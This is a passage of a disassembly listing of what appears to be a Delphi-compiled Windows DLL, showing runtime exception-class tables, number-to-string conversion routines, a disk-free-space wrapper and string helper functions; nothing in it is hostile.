off_10004950	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009140o
					; DATA:off_100092A4o
		dd 0FFC7h
off_10004958	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009144o
					; DATA:off_10009310o
		dd 0FFC8h
off_10004960	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009148o
					; DATA:off_10009350o
		dd 0FFC9h
off_10004968	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000914Co
					; DATA:off_10009370o
; ---------------------------------------------------------------------------
		retf	0FFh
; ---------------------------------------------------------------------------
		align 10h
off_10004970	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009150o
					; DATA:off_10009348o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0FFh, 2 dup(0)
off_10004978	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009154o
					; DATA:off_10009300o
		db 0CCh
		db 0FFh, 2 dup(0)
off_10004980	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009158o
					; DATA:off_10009354o
		dd 0FFCDh
off_10004988	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000915Co
					; DATA:off_100093A0o
		dd 0FFCEh
off_10004990	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009160o
					; DATA:off_100092A8o
		dd 0FFCFh
off_10004998	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009164o
					; DATA:off_10009308o
		dd 0FFB0h
off_100049A0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009168o
					; DATA:off_1000931Co
		dd 0FFB1h
off_100049A8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000916Co
					; DATA:off_10009380o
		dd 0FFB2h
off_100049B0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009170o
					; DATA:off_100093A4o
		dd 0FFB3h
off_100049B8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009174o
					; DATA:off_100093ACo
		dd 0FFB4h
off_100049C0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009178o
					; DATA:off_10009364o
		dd 0FFB5h
off_100049C8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000917Co
					; DATA:off_100092D4o
		dd 0FFB6h
off_100049D0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009180o
					; DATA:off_10009378o
		dd 0FFB7h
off_100049D8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009184o
					; DATA:off_1000932Co
		dd 0FFB8h
off_100049E0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009188o
					; DATA:off_100092C4o
		dd 0FFB9h
off_100049E8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000918Co
					; DATA:off_100092D0o
		dd 0FFBAh
off_100049F0	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009190o
					; DATA:off_100092D8o
		dd 0FFBBh
off_100049F8	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009194o
					; DATA:off_100092ACo
		dd 0FFBCh
off_10004A00	dd offset dword_1000A664 ; DATA	XREF: DATA:off_10009198o
					; DATA:off_10009394o
		dd 0FFBDh
off_10004A08	dd offset dword_1000A664 ; DATA	XREF: DATA:off_1000919Co
					; DATA:off_100092BCo
		dd 0FFBEh
off_10004A10	dd offset dword_1000A664 ; DATA	XREF: DATA:off_100091A0o
					; DATA:off_100093C4o
		dd 0FFBFh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10004A18	proc near		; DATA XREF: CODE:10008650o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_10004A3D
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_1000A67C
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_10004A44

loc_10004A3C:				; CODE XREF: sub_10004A18+2Aj
		retn
; ---------------------------------------------------------------------------

loc_10004A3D:				; DATA XREF: sub_10004A18+6o
		jmp	loc_10003048
; ---------------------------------------------------------------------------
		jmp	short loc_10004A3C
; ---------------------------------------------------------------------------

loc_10004A44:				; CODE XREF: sub_10004A18:loc_10004A3Cj
					; DATA XREF: sub_10004A18+1Fo
		pop	ebp
		retn
sub_10004A18	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10004A48	proc near		; DATA XREF: CODE:1000864Co
		sub	ds:dword_1000A67C, 1
		retn
sub_10004A48	endp

; ---------------------------------------------------------------------------
off_10004A50	dd offset dword_10004A9C ; DATA	XREF: CODE:10004AE0o
					; CODE:10004B98o ...
		dd 2 dup(0)
		dd offset dword_10004A9C
		dd 4 dup(0)
		dd offset word_10004AAE
		dd 0Ch
		dd offset off_1000100C
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004A9C	dd 0Eh,	10000h		; DATA XREF: CODE:off_10004A50o
					; CODE:10004A5Co
		db 2 dup(0)
		dd offset off_10001000
		dw 4
		db 2 dup(0)
word_10004AAE	dw 4509h		; DATA XREF: CODE:10004A70o
		dd 70656378h, 6E6F6974h
off_10004AB8	dd offset dword_10004B04 ; DATA	XREF: CODE:10004B3Co
					; CODE:10004FC4o
		dd 7 dup(0)
		dd offset dword_10004B04
		dd 10h
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10006B00
		dd offset sub_10002C7C
dword_10004B04	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h
					; DATA XREF: CODE:off_10004AB8o
					; CODE:10004AD8o
off_10004B14	dd offset dword_10004B60 ; DATA	XREF: sub_10007030+8r
		dd 7 dup(0)
		dd offset dword_10004B60
		dd 10h
		dd offset off_10004AB8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10006B00
		dd offset sub_10002C7C
dword_10004B60	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_10004B14o
					; CODE:10004B34o
off_10004B70	dd offset dword_10004BBC ; DATA	XREF: sub_10006B2C+2Dr
					; sub_10006B2C+4Cr
		dd 7 dup(0)
		dd offset dword_10004BBC
		dd 10h
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004BBC	dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF:	CODE:off_10004B70o
					; CODE:10004B90o
off_10004BC8	dd offset dword_10004C14 ; DATA	XREF: CODE:10004C48o
					; CODE:10004CA8o ...
		dd 7 dup(0)
		dd offset dword_10004C14
		dd 10h
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004C14	dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_10004BC8o
					; CODE:10004BE8o
off_10004C20	dd offset dword_10004C6C ; DATA	XREF: sub_10006F54+82r
		dd 7 dup(0)
		dd offset dword_10004C6C
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004C6C	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: CODE:off_10004C20o
					; CODE:10004C40o ...
off_10004C80	dd offset dword_10004CCC ; DATA	XREF: CODE:10004D00o
					; CODE:10004D58o ...
		dd 7 dup(0)
		dd offset dword_10004CCC
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004CCC	dd 6E494509h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_10004C80o
					; CODE:10004CA0o
		dd offset dword_10004D24
		dd 7 dup(0)
		dd offset dword_10004D24
		dd 10h
		dd offset off_10004C80
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004D24	dd 6944450Ah, 5A794276h, 906F7265h ; DATA XREF:	CODE:10004CD8o
					; CODE:10004CF8o ...
		dd offset dword_10004D7C
		dd 7 dup(0)
		dd offset dword_10004D7C
		dd 10h
		dd offset off_10004C80
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004D7C	dd 6152450Bh, 4565676Eh, 726F7272h ; DATA XREF:	CODE:10004D30o
					; CODE:10004D50o ...
		dd offset dword_10004DD4
		dd 7 dup(0)
		dd offset dword_10004DD4
		dd 10h
		dd offset off_10004C80
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004DD4	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h ; DATA XREF: CODE:10004D88o
					; CODE:10004DA8o ...
off_10004DE4	dd offset dword_10004E30 ; DATA	XREF: CODE:10004E64o
					; CODE:10004EBCo ...
		dd 7 dup(0)
		dd offset dword_10004E30
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004E30	dd 614D450Ah, 72456874h, 90726F72h ; DATA XREF:	CODE:off_10004DE4o
					; CODE:10004E04o
		dd offset dword_10004E88
		dd 7 dup(0)
		dd offset dword_10004E88
		dd 10h
		dd offset off_10004DE4
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004E88	dd 6E49450Ah, 696C6176h, 90704F64h ; DATA XREF:	CODE:10004E3Co
					; CODE:10004E5Co ...
		dd offset dword_10004EE0
		dd 7 dup(0)
		dd offset dword_10004EE0
		dd 10h
		dd offset off_10004DE4
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004EE0	dd 655A450Bh, 69446F72h, 65646976h ; DATA XREF:	CODE:10004E94o
					; CODE:10004EB4o ...
		dd offset dword_10004F38
		dd 7 dup(0)
		dd offset dword_10004F38
		dd 10h
		dd offset off_10004DE4
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004F38	dd 764F4509h, 6C667265h, 0C08B776Fh ; DATA XREF: CODE:10004EECo
					; CODE:10004F0Co ...
		dd offset dword_10004F90
		dd 7 dup(0)
		dd offset dword_10004F90
		dd 10h
		dd offset off_10004DE4
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10004F90	dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF:	CODE:10004F44o
					; CODE:10004F64o ...
off_10004F9C	dd offset dword_10004FE8 ; DATA	XREF: sub_10007030+1Fr
		dd 7 dup(0)
		dd offset dword_10004FE8
		dd 10h
		dd offset off_10004AB8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10006B00
		dd offset sub_10002C7C
dword_10004FE8	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh
					; DATA XREF: CODE:off_10004F9Co
					; CODE:10004FBCo
		dd offset dword_10005044
		dd 7 dup(0)
		dd offset dword_10005044
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10005044	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:10004FF8o
					; CODE:10005018o ...
off_10005054	dd offset dword_100050A0 ; DATA	XREF: sub_10005444+Fr
		dd 7 dup(0)
		dd offset dword_100050A0
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_100050A0	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh
					; DATA XREF: CODE:off_10005054o
					; CODE:10005074o
off_100050B0	dd offset dword_100050FC ; DATA	XREF: sub_10006D88+122r
					; sub_10006D88+17Er
		dd 7 dup(0)
		dd offset dword_100050FC
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_100050FC	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: CODE:off_100050B0o
					; CODE:100050D0o ...
		dd offset dword_1000515C
		dd 7 dup(0)
		dd offset dword_1000515C
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_1000515C	dd 7250450Ah, 6C697669h, 90656765h ; DATA XREF:	CODE:10005110o
					; CODE:10005130o ...
		dd offset dword_100051B4
		dd 7 dup(0)
		dd offset dword_100051B4
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_100051B4	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch ;	DATA XREF: CODE:10005168o
					; CODE:10005188o ...
		dd offset dword_10005210
		dd 7 dup(0)
		dd offset dword_10005210
		dd 10h
		dd offset off_10004BC8
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10005210	dd 6F434509h, 6F72746Eh, 0C08B436Ch ; DATA XREF: CODE:100051C4o
					; CODE:100051E4o ...
		dd offset dword_10005268
		dd 7 dup(0)
		dd offset dword_10005268
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10005268	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:1000521Co
					; CODE:1000523Co ...
off_10005278	dd offset dword_100052C4 ; DATA	XREF: sub_10006C00+72r
		dd 7 dup(0)
		dd offset dword_100052C4
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_100052C4	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: CODE:off_10005278o
					; CODE:10005298o ...
off_100052D8	dd offset dword_10005324 ; DATA	XREF: sub_10006CD8+8r
		dd 7 dup(0)
		dd offset dword_10005324
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10005324	dd 6241450Eh, 61727473h, 72457463h, 90726F72h
					; DATA XREF: CODE:off_100052D8o
					; CODE:100052F8o
		dd offset dword_10005380
		dd 7 dup(0)
		dd offset dword_10005380
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_10005380	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h ;	DATA XREF: CODE:10005334o
					; CODE:10005354o ...
		dd offset dword_100053DC
		dd 7 dup(0)
		dd offset dword_100053DC
		dd 0Ch
		dd offset off_10004A50
		dd offset sub_10002D78
		dd offset nullsub_1
		dd offset nullsub_2
		dd offset sub_10002D8C
		dd offset nullsub_3
		dd offset sub_10002C44
		dd offset sub_10002C60
		dd offset sub_10002C7C
dword_100053DC	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: CODE:10005390o
					; CODE:100053B0o ...
off_100053F0	dd offset dword_100053F4 ; DATA	XREF: sub_10007C50+8Fr
dword_100053F4	dd 372E0311h, 434h	; DATA XREF: CODE:off_100053F0o
		db 0
		dd offset off_10001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_10001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch
off_10005414	dd offset dword_10005418 ; DATA	XREF: sub_10007C50+7Fr
dword_10005418	dd 382E0311h, 434h	; DATA XREF: CODE:off_10005414o
		db 0
		dd offset off_10001000
		db 48h,	2 dup(0)
		db 0
		dd offset off_10001000
		db 8, 53h, 79h
		dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1, 24h

; =============== S U B	R O U T	I N E =======================================



sub_10005444	proc near		; CODE XREF: sub_10005760+4Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_10005054
		call	sub_10006A6C
		call	sub_10003080
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10005444	endp

; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_10005912

loc_10005468:				; CODE XREF: sub_10005912+CAj
					; sub_10005912+D8j ...
		or	cl, cl
		jnz	short loc_10005483
		or	eax, eax
		jns	short sub_1000547E
		neg	eax
		call	sub_1000547E
		mov	al, 2Dh
		inc	ecx
		dec	esi
		mov	[esi], al
		retn
; END OF FUNCTION CHUNK	FOR sub_10005912

; =============== S U B	R O U T	I N E =======================================



sub_1000547E	proc near		; CODE XREF: sub_10005912-4A4j
					; sub_10005912-4A0p
		mov	ecx, 0Ah

loc_10005483:				; CODE XREF: sub_10005912-4A8j
		push	edx
		push	esi

loc_10005485:				; CODE XREF: sub_1000547E+1Bj
		xor	edx, edx
		div	ecx
		dec	esi
		add	dl, 30h
		cmp	dl, 3Ah
		jb	short loc_10005495
		add	dl, 7

loc_10005495:				; CODE XREF: sub_1000547E+12j
		mov	[esi], dl
		or	eax, eax
		jnz	short loc_10005485
		pop	ecx
		pop	edx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_100054B3
		add	ecx, edx
		mov	al, 30h
		sub	esi, edx
		jmp	short loc_100054AE
; ---------------------------------------------------------------------------

loc_100054AB:				; CODE XREF: sub_1000547E+31j
		mov	[edx+esi], al

loc_100054AE:				; CODE XREF: sub_1000547E+2Bj
		dec	edx
		jnz	short loc_100054AB
		mov	[esi], al

locret_100054B3:			; CODE XREF: sub_1000547E+23j
		retn
sub_1000547E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_10005912

loc_100054B4:				; CODE XREF: sub_10005912+94j
					; sub_10005912+A2j ...
		or	cl, cl
		jnz	short sub_100054E8
		mov	ecx, 0Ah
		test	dword ptr [eax+4], 80000000h
		jz	short sub_100054E8
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		mov	eax, esp
		neg	[esp+8+var_8]
		adc	[esp+8+var_4], 0
		neg	[esp+8+var_4]
		call	sub_100054E8
		mov	byte ptr [esi-1], 2Dh
		dec	esi
		inc	ecx
		add	esp, 8
		retn
; END OF FUNCTION CHUNK	FOR sub_10005912

; =============== S U B	R O U T	I N E =======================================



sub_100054E8	proc near		; CODE XREF: sub_10005912-45Cj
					; sub_10005912-44Ej ...

var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= word ptr -8
var_6		= word ptr -6

		push	esi
		sub	esp, 4
		fnstcw	[esp+8+var_6]
		fnstcw	[esp+8+var_8]
		or	[esp+8+var_8], 0F00h
		fldcw	[esp+8+var_8]
		mov	[esp+8+var_8], cx
		fld1
		test	dword ptr [eax+4], 80000000h
		jz	short loc_10005532
		push	dword ptr [eax+4]
		push	dword ptr [eax]
		and	[esp+10h+var_C], 7FFFFFFFh
		push	7FFFFFFFh
		push	0FFFFFFFFh
		fild	qword ptr [esp+8]
		fild	[esp+18h+var_18]
		fadd	st, st(2)
		faddp	st(1), st
		add	esp, 10h
		jmp	short loc_10005534
; ---------------------------------------------------------------------------

loc_10005532:				; CODE XREF: sub_100054E8+21j
		fild	qword ptr [eax]

loc_10005534:				; CODE XREF: sub_100054E8+48j
		fild	[esp+8+var_8]
		fld	st(1)

loc_10005539:				; CODE XREF: sub_100054E8+6Ej
		dec	esi
		fprem
		fistp	[esp+8+var_8]
		fdiv	st(1), st
		mov	al, byte ptr [esp+8+var_8]
		add	al, 30h
		cmp	al, 3Ah
		jb	short loc_1000554C
		add	al, 7

loc_1000554C:				; CODE XREF: sub_100054E8+60j
		mov	[esi], al
		fld	st(1)
		fcom	st(3)
		fstsw	ax
		sahf
		jnb	short loc_10005539
		fldcw	[esp+8+var_6]
		add	esp, 4
		ffree	st(3)
		ffree	st(2)
		ffree	st(1)
		ffree	st
		pop	ecx
		sub	ecx, esi
		sub	edx, ecx
		jbe	short locret_1000557E
		sub	esi, edx
		mov	al, 30h
		add	ecx, edx
		jmp	short loc_10005579
; ---------------------------------------------------------------------------

loc_10005576:				; CODE XREF: sub_100054E8+92j
		mov	[edx+esi], al

loc_10005579:				; CODE XREF: sub_100054E8+8Cj
		dec	edx
		jnz	short loc_10005576
		mov	[esi], al

locret_1000557E:			; CODE XREF: sub_100054E8+84j
		retn
sub_100054E8	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10005580	proc near		; CODE XREF: sub_100063C8+3Ep
					; sub_10006440+34p ...

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_10002754
		cmp	[esp+8+var_8], 0
		jz	short loc_10005593
		mov	eax, ebx

loc_10005593:				; CODE XREF: sub_10005580+Fj
		pop	edx
		pop	ebx
		retn
sub_10005580	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1, 30h, 0FFFFFFFFh, 2, 312Dh

; =============== S U B	R O U T	I N E =======================================



sub_100055B0	proc near		; CODE XREF: sub_10005600+Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_10003894
		mov	edi, eax
		mov	eax, ebx
		call	sub_1000397C
		mov	ebp, eax
		test	edi, edi
		jle	short loc_100055F6

loc_100055CE:				; CODE XREF: sub_100055B0+44j
		mov	bl, [esi+edi-1]
		test	bl, bl
		jz	short loc_100055F1
		mov	edx, ebx
		mov	eax, ebp
		call	sub_1000574C
		test	eax, eax
		jz	short loc_100055F1
		mov	edx, edi
		mov	eax, esi
		call	sub_1000721C
		cmp	al, 2
		jnz	short loc_100055F6
		dec	edi

loc_100055F1:				; CODE XREF: sub_100055B0+24j
					; sub_100055B0+31j
		dec	edi
		test	edi, edi
		jg	short loc_100055CE

loc_100055F6:				; CODE XREF: sub_100055B0+1Cj
					; sub_100055B0+3Ej
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_100055B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_10005600	proc near		; CODE XREF: sub_10006D88+CCp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_10005634
		call	sub_100055B0
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_10003988
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_10005600	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_10005634	dd 3A5Ch		; DATA XREF: sub_10005600+9o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10005638	proc near		; DATA XREF: sub_10007914+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_10005648
		xor	eax, eax

loc_10005648:				; CODE XREF: sub_10005638+Cj
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	sub_100045A8	; GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_10003BA8
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_10003BA8
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_10005638	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100056AC	proc near		; CODE XREF: sub_10005B60+16p
					; CODE:100067E1p ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_100056AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100056C4	proc near		; CODE XREF: sub_10005760+2Bp
		push	esi
		mov	esi, eax
		xchg	eax, edx
		call	sub_1000263C
		mov	eax, esi
		pop	esi
		retn
sub_100056C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_100056D4	proc near		; CODE XREF: CODE:100067B5p
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_100056E8
		repne scasb
		jnz	short loc_100056E8
		inc	ecx

loc_100056E8:				; CODE XREF: sub_100056D4+Dj
					; sub_100056D4+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_100056D4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_10005708	proc near		; CODE XREF: sub_100064F0+109p
					; sub_100064F0+12Fp ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_10005746
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx

loc_10005721:				; CODE XREF: sub_10005708+3Cj
		repe cmpsb
		jz	short loc_10005746
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_10005732
		cmp	al, 7Ah
		ja	short loc_10005732
		sub	al, 20h

loc_10005732:				; CODE XREF: sub_10005708+22j
					; sub_10005708+26j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_10005742
		cmp	dl, 7Ah
		ja	short loc_10005742
		sub	dl, 20h

loc_10005742:				; CODE XREF: sub_10005708+30j
					; sub_10005708+35j
